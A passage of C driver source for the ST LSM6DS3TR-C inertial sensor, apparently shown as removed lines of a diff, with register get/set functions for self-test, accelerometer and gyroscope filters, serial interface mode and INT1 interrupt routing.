- * - */ -int32_t lsm6ds3tr_c_xl_self_test_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_st_xl_t* val) { - lsm6ds3tr_c_ctrl5_c_t ctrl5_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL5_C, (uint8_t*)&ctrl5_c, 1); - - switch(ctrl5_c.st_xl) { - case LSM6DS3TR_C_XL_ST_DISABLE: - *val = LSM6DS3TR_C_XL_ST_DISABLE; - break; - - case LSM6DS3TR_C_XL_ST_POSITIVE: - *val = LSM6DS3TR_C_XL_ST_POSITIVE; - break; - - case LSM6DS3TR_C_XL_ST_NEGATIVE: - *val = LSM6DS3TR_C_XL_ST_NEGATIVE; - break; - - default: - *val = LSM6DS3TR_C_XL_ST_ND; - break; - } - - return ret; -} - -/** - * @brief Angular rate sensor self-test enable.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of st_g in reg CTRL5_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_gy_self_test_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_st_g_t val) { - lsm6ds3tr_c_ctrl5_c_t ctrl5_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL5_C, (uint8_t*)&ctrl5_c, 1); - - if(ret == 0) { - ctrl5_c.st_g = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL5_C, (uint8_t*)&ctrl5_c, 1); - } - - return ret; -} - -/** - * @brief Angular rate sensor self-test enable.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of st_g in reg CTRL5_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_gy_self_test_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_st_g_t* val) { - lsm6ds3tr_c_ctrl5_c_t ctrl5_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL5_C, (uint8_t*)&ctrl5_c, 1); - - switch(ctrl5_c.st_g) { - case LSM6DS3TR_C_GY_ST_DISABLE: - *val = LSM6DS3TR_C_GY_ST_DISABLE; - break; - - case LSM6DS3TR_C_GY_ST_POSITIVE: - *val = LSM6DS3TR_C_GY_ST_POSITIVE; - break; - - case LSM6DS3TR_C_GY_ST_NEGATIVE: - *val = LSM6DS3TR_C_GY_ST_NEGATIVE; - break; - - default: - *val = LSM6DS3TR_C_GY_ST_ND; - break; - } - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_filters - * @brief This section group all the functions concerning the filters - * configuration that impact both accelerometer and gyro. - * @{ - * - */ - -/** - * @brief Mask DRDY on pin (both XL & Gyro) until filter settling ends - * (XL and Gyro independently masked).[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of drdy_mask in reg CTRL4_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_filter_settling_mask_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_ctrl4_c_t ctrl4_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL4_C, (uint8_t*)&ctrl4_c, 1); - - if(ret == 0) { - ctrl4_c.drdy_mask = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL4_C, (uint8_t*)&ctrl4_c, 1); - } - - return ret; -} - -/** - * @brief Mask DRDY on pin (both XL & Gyro) until filter settling ends - * (XL and Gyro independently masked).[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of drdy_mask in reg CTRL4_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_filter_settling_mask_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_ctrl4_c_t ctrl4_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL4_C, (uint8_t*)&ctrl4_c, 1); - *val = ctrl4_c.drdy_mask; - - return ret; -} - -/** - * @brief HPF or SLOPE filter selection on wake-up and Activity/Inactivity - * functions.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of slope_fds in reg TAP_CFG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_hp_path_internal_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_slope_fds_t val) { - lsm6ds3tr_c_tap_cfg_t tap_cfg; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - - if(ret == 0) { - tap_cfg.slope_fds = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - } - - return ret; -} - -/** - * @brief HPF or SLOPE filter selection on wake-up and Activity/Inactivity - * functions.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of slope_fds in reg TAP_CFG - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_hp_path_internal_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_slope_fds_t* val) { - lsm6ds3tr_c_tap_cfg_t tap_cfg; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - - switch(tap_cfg.slope_fds) { - case LSM6DS3TR_C_USE_SLOPE: - *val = LSM6DS3TR_C_USE_SLOPE; - break; - - case LSM6DS3TR_C_USE_HPF: - *val = LSM6DS3TR_C_USE_HPF; - break; - - default: - *val = LSM6DS3TR_C_HP_PATH_ND; - break; - } - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_accelerometer_filters - * @brief This section group all the functions concerning the filters - * configuration that impact accelerometer in every mode. - * @{ - * - */ - -/** - * @brief Accelerometer analog chain bandwidth selection (only for - * accelerometer ODR ≥ 1.67 kHz).[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of bw0_xl in reg CTRL1_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_filter_analog_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_bw0_xl_t val) { - lsm6ds3tr_c_ctrl1_xl_t ctrl1_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL1_XL, (uint8_t*)&ctrl1_xl, 1); - - if(ret == 0) { - ctrl1_xl.bw0_xl = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL1_XL, (uint8_t*)&ctrl1_xl, 1); - } - - return ret; -} - -/** - * @brief Accelerometer analog chain bandwidth selection (only for - * accelerometer ODR ≥ 1.67 kHz).[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of bw0_xl in reg CTRL1_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_filter_analog_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_bw0_xl_t* val) { - lsm6ds3tr_c_ctrl1_xl_t ctrl1_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL1_XL, (uint8_t*)&ctrl1_xl, 1); - - switch(ctrl1_xl.bw0_xl) { - case LSM6DS3TR_C_XL_ANA_BW_1k5Hz: - *val = LSM6DS3TR_C_XL_ANA_BW_1k5Hz; - break; - - case LSM6DS3TR_C_XL_ANA_BW_400Hz: - *val = LSM6DS3TR_C_XL_ANA_BW_400Hz; - break; - - default: - *val = LSM6DS3TR_C_XL_ANA_BW_ND; - break; - } - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_accelerometer_filters - * @brief This section group all the functions concerning the filters - * configuration that impact accelerometer. - * @{ - * - */ - -/** - * @brief Accelerometer digital LPF (LPF1) bandwidth selection LPF2 is - * not used.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of lpf1_bw_sel in reg CTRL1_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_lp1_bandwidth_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_lpf1_bw_sel_t val) { - lsm6ds3tr_c_ctrl1_xl_t ctrl1_xl; - lsm6ds3tr_c_ctrl8_xl_t ctrl8_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL1_XL, (uint8_t*)&ctrl1_xl, 1); - - if(ret == 0) { - ctrl1_xl.lpf1_bw_sel = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL1_XL, (uint8_t*)&ctrl1_xl, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL8_XL, (uint8_t*)&ctrl8_xl, 1); - - if(ret == 0) { - ctrl8_xl.lpf2_xl_en = 0; - ctrl8_xl.hp_slope_xl_en = 0; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL8_XL, (uint8_t*)&ctrl8_xl, 1); - } - } - } - - return ret; -} - -/** - * @brief Accelerometer digital LPF (LPF1) bandwidth selection LPF2 - * is not used.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of lpf1_bw_sel in reg CTRL1_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_lp1_bandwidth_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_lpf1_bw_sel_t* val) { - lsm6ds3tr_c_ctrl1_xl_t ctrl1_xl; - lsm6ds3tr_c_ctrl8_xl_t ctrl8_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL8_XL, (uint8_t*)&ctrl8_xl, 1); - - if(ret == 0) { - if((ctrl8_xl.lpf2_xl_en != 0x00U) || (ctrl8_xl.hp_slope_xl_en != 0x00U)) { - *val = LSM6DS3TR_C_XL_LP1_NA; - } - - else { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL1_XL, (uint8_t*)&ctrl1_xl, 1); - - switch(ctrl1_xl.lpf1_bw_sel) { - case LSM6DS3TR_C_XL_LP1_ODR_DIV_2: - *val = LSM6DS3TR_C_XL_LP1_ODR_DIV_2; - break; - - case LSM6DS3TR_C_XL_LP1_ODR_DIV_4: - *val = LSM6DS3TR_C_XL_LP1_ODR_DIV_4; - break; - - default: - *val = LSM6DS3TR_C_XL_LP1_NA; - break; - } - } - } - - return ret; -} - -/** - * @brief LPF2 on outputs[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of input_composite in reg CTRL8_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_lp2_bandwidth_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_input_composite_t val) { - lsm6ds3tr_c_ctrl8_xl_t ctrl8_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL8_XL, (uint8_t*)&ctrl8_xl, 1); - - if(ret == 0) { - ctrl8_xl.input_composite = ((uint8_t)val & 0x10U) >> 4; - ctrl8_xl.hpcf_xl = (uint8_t)val & 0x03U; - ctrl8_xl.lpf2_xl_en = 1; - ctrl8_xl.hp_slope_xl_en = 0; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL8_XL, (uint8_t*)&ctrl8_xl, 1); - } - - return ret; -} - -/** - * @brief LPF2 on outputs[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of input_composite in reg CTRL8_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_lp2_bandwidth_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_input_composite_t* val) { - lsm6ds3tr_c_ctrl8_xl_t ctrl8_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL8_XL, (uint8_t*)&ctrl8_xl, 1); - - if(ret == 0) { - if((ctrl8_xl.lpf2_xl_en == 0x00U) || (ctrl8_xl.hp_slope_xl_en != 0x00U)) { - *val = LSM6DS3TR_C_XL_LP_NA; - } - - else { - switch((ctrl8_xl.input_composite << 4) + ctrl8_xl.hpcf_xl) { - case LSM6DS3TR_C_XL_LOW_LAT_LP_ODR_DIV_50: - *val = LSM6DS3TR_C_XL_LOW_LAT_LP_ODR_DIV_50; - break; - - case LSM6DS3TR_C_XL_LOW_LAT_LP_ODR_DIV_100: - *val = LSM6DS3TR_C_XL_LOW_LAT_LP_ODR_DIV_100; - break; - - case LSM6DS3TR_C_XL_LOW_LAT_LP_ODR_DIV_9: - *val = LSM6DS3TR_C_XL_LOW_LAT_LP_ODR_DIV_9; - break; - - case LSM6DS3TR_C_XL_LOW_LAT_LP_ODR_DIV_400: - *val = LSM6DS3TR_C_XL_LOW_LAT_LP_ODR_DIV_400; - break; - - case LSM6DS3TR_C_XL_LOW_NOISE_LP_ODR_DIV_50: - *val = LSM6DS3TR_C_XL_LOW_NOISE_LP_ODR_DIV_50; - break; - - case LSM6DS3TR_C_XL_LOW_NOISE_LP_ODR_DIV_100: - *val = LSM6DS3TR_C_XL_LOW_NOISE_LP_ODR_DIV_100; - break; - - case LSM6DS3TR_C_XL_LOW_NOISE_LP_ODR_DIV_9: - *val = LSM6DS3TR_C_XL_LOW_NOISE_LP_ODR_DIV_9; - break; - - case LSM6DS3TR_C_XL_LOW_NOISE_LP_ODR_DIV_400: - *val = LSM6DS3TR_C_XL_LOW_NOISE_LP_ODR_DIV_400; - break; - - default: - *val = LSM6DS3TR_C_XL_LP_NA; - break; - } - } - } - - return ret; -} - -/** - * @brief Enable HP filter reference mode.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of hp_ref_mode in reg CTRL8_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_reference_mode_set(stmdev_ctx_t* ctx, uint8_t val) { - lsm6ds3tr_c_ctrl8_xl_t ctrl8_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL8_XL, (uint8_t*)&ctrl8_xl, 1); - - if(ret == 0) { - ctrl8_xl.hp_ref_mode = val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL8_XL, (uint8_t*)&ctrl8_xl, 1); - } - - return ret; -} - -/** - * @brief Enable HP filter reference mode.[get] - * - * @param ctx Read / write interface definitions - * @param val Change the values of hp_ref_mode in reg CTRL8_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_reference_mode_get(stmdev_ctx_t* ctx, uint8_t* val) { - lsm6ds3tr_c_ctrl8_xl_t ctrl8_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL8_XL, (uint8_t*)&ctrl8_xl, 1); - *val = ctrl8_xl.hp_ref_mode; - - return ret; -} - -/** - * @brief High pass/Slope on outputs.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of hpcf_xl in reg CTRL8_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_hp_bandwidth_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_hpcf_xl_t val) { - lsm6ds3tr_c_ctrl8_xl_t ctrl8_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL8_XL, (uint8_t*)&ctrl8_xl, 1); - - if(ret == 0) { - ctrl8_xl.input_composite = 0; - ctrl8_xl.hpcf_xl = (uint8_t)val & 0x03U; - ctrl8_xl.hp_slope_xl_en = 1; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL8_XL, (uint8_t*)&ctrl8_xl, 1); - } - - return ret; -} - -/** - * @brief High pass/Slope on outputs.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of hpcf_xl in reg CTRL8_XL - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_xl_hp_bandwidth_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_hpcf_xl_t* val) { - lsm6ds3tr_c_ctrl8_xl_t ctrl8_xl; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL8_XL, (uint8_t*)&ctrl8_xl, 1); - - if(ctrl8_xl.hp_slope_xl_en == 0x00U) { - *val = LSM6DS3TR_C_XL_HP_NA; - } - - switch(ctrl8_xl.hpcf_xl) { - case LSM6DS3TR_C_XL_HP_ODR_DIV_4: - *val = LSM6DS3TR_C_XL_HP_ODR_DIV_4; - break; - - case LSM6DS3TR_C_XL_HP_ODR_DIV_100: - *val = LSM6DS3TR_C_XL_HP_ODR_DIV_100; - break; - - case LSM6DS3TR_C_XL_HP_ODR_DIV_9: - *val = LSM6DS3TR_C_XL_HP_ODR_DIV_9; - break; - - case LSM6DS3TR_C_XL_HP_ODR_DIV_400: - *val = LSM6DS3TR_C_XL_HP_ODR_DIV_400; - break; - - default: - *val = LSM6DS3TR_C_XL_HP_NA; - break; - } - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_gyroscope_filters - * @brief This section group all the functions concerning the filters - * configuration that impact gyroscope. - * @{ - * - */ - -/** - * @brief Gyroscope low pass path bandwidth.[set] - * - * @param ctx Read / write interface definitions - * @param val gyroscope filtering chain configuration. - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_gy_band_pass_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_lpf1_sel_g_t val) { - lsm6ds3tr_c_ctrl4_c_t ctrl4_c; - lsm6ds3tr_c_ctrl6_c_t ctrl6_c; - lsm6ds3tr_c_ctrl7_g_t ctrl7_g; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL7_G, (uint8_t*)&ctrl7_g, 1); - - if(ret == 0) { - ctrl7_g.hpm_g = ((uint8_t)val & 0x30U) >> 4; - ctrl7_g.hp_en_g = ((uint8_t)val & 0x80U) >> 7; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL7_G, (uint8_t*)&ctrl7_g, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL6_C, (uint8_t*)&ctrl6_c, 1); - - if(ret == 0) { - ctrl6_c.ftype = (uint8_t)val & 0x03U; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL6_C, (uint8_t*)&ctrl6_c, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL4_C, (uint8_t*)&ctrl4_c, 1); - - if(ret == 0) { - ctrl4_c.lpf1_sel_g = ((uint8_t)val & 0x08U) >> 3; - ret = - lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL4_C, (uint8_t*)&ctrl4_c, 1); - } - } - } - } - } - - return ret; -} - -/** - * @brief Gyroscope low pass path bandwidth.[get] - * - * @param ctx Read / write interface definitions - * @param val gyroscope filtering chain - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_gy_band_pass_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_lpf1_sel_g_t* val) { - lsm6ds3tr_c_ctrl4_c_t ctrl4_c; - lsm6ds3tr_c_ctrl6_c_t ctrl6_c; - lsm6ds3tr_c_ctrl7_g_t ctrl7_g; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL6_C, (uint8_t*)&ctrl6_c, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL4_C, (uint8_t*)&ctrl4_c, 1); - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL7_G, (uint8_t*)&ctrl7_g, 1); - - switch((ctrl7_g.hp_en_g << 7) + (ctrl7_g.hpm_g << 4) + (ctrl4_c.lpf1_sel_g << 3) + - ctrl6_c.ftype) { - case LSM6DS3TR_C_HP_16mHz_LP2: - *val = LSM6DS3TR_C_HP_16mHz_LP2; - break; - - case LSM6DS3TR_C_HP_65mHz_LP2: - *val = LSM6DS3TR_C_HP_65mHz_LP2; - break; - - case LSM6DS3TR_C_HP_260mHz_LP2: - *val = LSM6DS3TR_C_HP_260mHz_LP2; - break; - - case LSM6DS3TR_C_HP_1Hz04_LP2: - *val = LSM6DS3TR_C_HP_1Hz04_LP2; - break; - - case LSM6DS3TR_C_HP_DISABLE_LP1_LIGHT: - *val = LSM6DS3TR_C_HP_DISABLE_LP1_LIGHT; - break; - - case LSM6DS3TR_C_HP_DISABLE_LP1_NORMAL: - *val = LSM6DS3TR_C_HP_DISABLE_LP1_NORMAL; - break; - - case LSM6DS3TR_C_HP_DISABLE_LP_STRONG: - *val = LSM6DS3TR_C_HP_DISABLE_LP_STRONG; - break; - - case LSM6DS3TR_C_HP_DISABLE_LP1_AGGRESSIVE: - *val = LSM6DS3TR_C_HP_DISABLE_LP1_AGGRESSIVE; - break; - - case LSM6DS3TR_C_HP_16mHz_LP1_LIGHT: - *val = LSM6DS3TR_C_HP_16mHz_LP1_LIGHT; - break; - - case LSM6DS3TR_C_HP_65mHz_LP1_NORMAL: - *val = LSM6DS3TR_C_HP_65mHz_LP1_NORMAL; - break; - - case LSM6DS3TR_C_HP_260mHz_LP1_STRONG: - *val = LSM6DS3TR_C_HP_260mHz_LP1_STRONG; - break; - - case LSM6DS3TR_C_HP_1Hz04_LP1_AGGRESSIVE: - *val = LSM6DS3TR_C_HP_1Hz04_LP1_AGGRESSIVE; - break; - - default: - *val = LSM6DS3TR_C_HP_GY_BAND_NA; - break; - } - } - } - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_serial_interface - * @brief This section groups all the functions concerning serial - * interface management - * @{ - * - */ - -/** - * @brief SPI Serial Interface Mode selection.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of sim in reg CTRL3_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_spi_mode_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_sim_t val) { - lsm6ds3tr_c_ctrl3_c_t ctrl3_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - - if(ret == 0) { - ctrl3_c.sim = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - } - - return ret; -} - -/** - * @brief SPI Serial Interface Mode selection.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of sim in reg CTRL3_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_spi_mode_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_sim_t* val) { - lsm6ds3tr_c_ctrl3_c_t ctrl3_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL3_C, (uint8_t*)&ctrl3_c, 1); - - switch(ctrl3_c.sim) { - case LSM6DS3TR_C_SPI_4_WIRE: - *val = LSM6DS3TR_C_SPI_4_WIRE; - break; - - case LSM6DS3TR_C_SPI_3_WIRE: - *val = LSM6DS3TR_C_SPI_3_WIRE; - break; - - default: - *val = LSM6DS3TR_C_SPI_MODE_ND; - break; - } - - return ret; -} - -/** - * @brief Disable / Enable I2C interface.[set] - * - * @param ctx Read / write interface definitions - * @param val Change the values of i2c_disable in reg CTRL4_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_i2c_interface_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_i2c_disable_t val) { - lsm6ds3tr_c_ctrl4_c_t ctrl4_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL4_C, (uint8_t*)&ctrl4_c, 1); - - if(ret == 0) { - ctrl4_c.i2c_disable = (uint8_t)val; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL4_C, (uint8_t*)&ctrl4_c, 1); - } - - return ret; -} - -/** - * @brief Disable / Enable I2C interface.[get] - * - * @param ctx Read / write interface definitions - * @param val Get the values of i2c_disable in reg CTRL4_C - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_i2c_interface_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_i2c_disable_t* val) { - lsm6ds3tr_c_ctrl4_c_t ctrl4_c; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL4_C, (uint8_t*)&ctrl4_c, 1); - - switch(ctrl4_c.i2c_disable) { - case LSM6DS3TR_C_I2C_ENABLE: - *val = LSM6DS3TR_C_I2C_ENABLE; - break; - - case LSM6DS3TR_C_I2C_DISABLE: - *val = LSM6DS3TR_C_I2C_DISABLE; - break; - - default: - *val = LSM6DS3TR_C_I2C_MODE_ND; - break; - } - - return ret; -} - -/** - * @} - * - */ - -/** - * @defgroup LSM6DS3TR_C_interrupt_pins - * @brief This section groups all the functions that manage - * interrupt pins - * @{ - * - */ - -/** - * @brief Select the signal that need to route on int1 pad[set] - * - * @param ctx Read / write interface definitions - * @param val configure INT1_CTRL, MD1_CFG, CTRL4_C(den_drdy_int1), - * MASTER_CONFIG(drdy_on_int1) - * @retval Interface status (MANDATORY: return 0 -> no Error). - * - */ -int32_t lsm6ds3tr_c_pin_int1_route_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_int1_route_t val) { - lsm6ds3tr_c_master_config_t master_config; - lsm6ds3tr_c_int1_ctrl_t int1_ctrl; - lsm6ds3tr_c_md1_cfg_t md1_cfg; - lsm6ds3tr_c_md2_cfg_t md2_cfg; - lsm6ds3tr_c_ctrl4_c_t ctrl4_c; - lsm6ds3tr_c_tap_cfg_t tap_cfg; - int32_t ret; - - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_INT1_CTRL, (uint8_t*)&int1_ctrl, 1); - - if(ret == 0) { - int1_ctrl.int1_drdy_xl = val.int1_drdy_xl; - int1_ctrl.int1_drdy_g = val.int1_drdy_g; - int1_ctrl.int1_boot = val.int1_boot; - int1_ctrl.int1_fth = val.int1_fth; - int1_ctrl.int1_fifo_ovr = val.int1_fifo_ovr; - int1_ctrl.int1_full_flag = val.int1_full_flag; - int1_ctrl.int1_sign_mot = val.int1_sign_mot; - int1_ctrl.int1_step_detector = val.int1_step_detector; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_INT1_CTRL, (uint8_t*)&int1_ctrl, 1); - } - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MD1_CFG, (uint8_t*)&md1_cfg, 1); - } - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MD2_CFG, (uint8_t*)&md2_cfg, 1); - } - - if(ret == 0) { - md1_cfg.int1_timer = val.int1_timer; - md1_cfg.int1_tilt = val.int1_tilt; - md1_cfg.int1_6d = val.int1_6d; - md1_cfg.int1_double_tap = val.int1_double_tap; - md1_cfg.int1_ff = val.int1_ff; - md1_cfg.int1_wu = val.int1_wu; - md1_cfg.int1_single_tap = val.int1_single_tap; - md1_cfg.int1_inact_state = val.int1_inact_state; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_MD1_CFG, (uint8_t*)&md1_cfg, 1); - } - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_CTRL4_C, (uint8_t*)&ctrl4_c, 1); - } - - if(ret == 0) { - ctrl4_c.den_drdy_int1 = val.den_drdy_int1; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_CTRL4_C, (uint8_t*)&ctrl4_c, 1); - } - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - } - - if(ret == 0) { - master_config.drdy_on_int1 = val.den_drdy_int1; - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_MASTER_CONFIG, (uint8_t*)&master_config, 1); - } - - if(ret == 0) { - ret = lsm6ds3tr_c_read_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - - if((val.int1_6d != 0x00U) || (val.int1_ff != 0x00U) || (val.int1_wu != 0x00U) || - (val.int1_single_tap != 0x00U) || (val.int1_double_tap != 0x00U) || - (val.int1_inact_state != 0x00U) || (md2_cfg.int2_6d != 0x00U) || - (md2_cfg.int2_ff != 0x00U) || (md2_cfg.int2_wu != 0x00U) || - (md2_cfg.int2_single_tap != 0x00U) || (md2_cfg.int2_double_tap != 0x00U) || - (md2_cfg.int2_inact_state != 0x00U)) { - tap_cfg.interrupts_enable = PROPERTY_ENABLE; - } - - else { - tap_cfg.interrupts_enable = PROPERTY_DISABLE; - } - } - - if(ret == 0) { - ret = lsm6ds3tr_c_write_reg(ctx, LSM6DS3TR_C_TAP_CFG, (uint8_t*)&tap_cfg, 1); - } - - return ret; -} - -/** - * @brief Select the signal that need to route on int1 pad[get] - * - * @param ctx Read / write interface definitions - * @param val read INT1_CTRL, 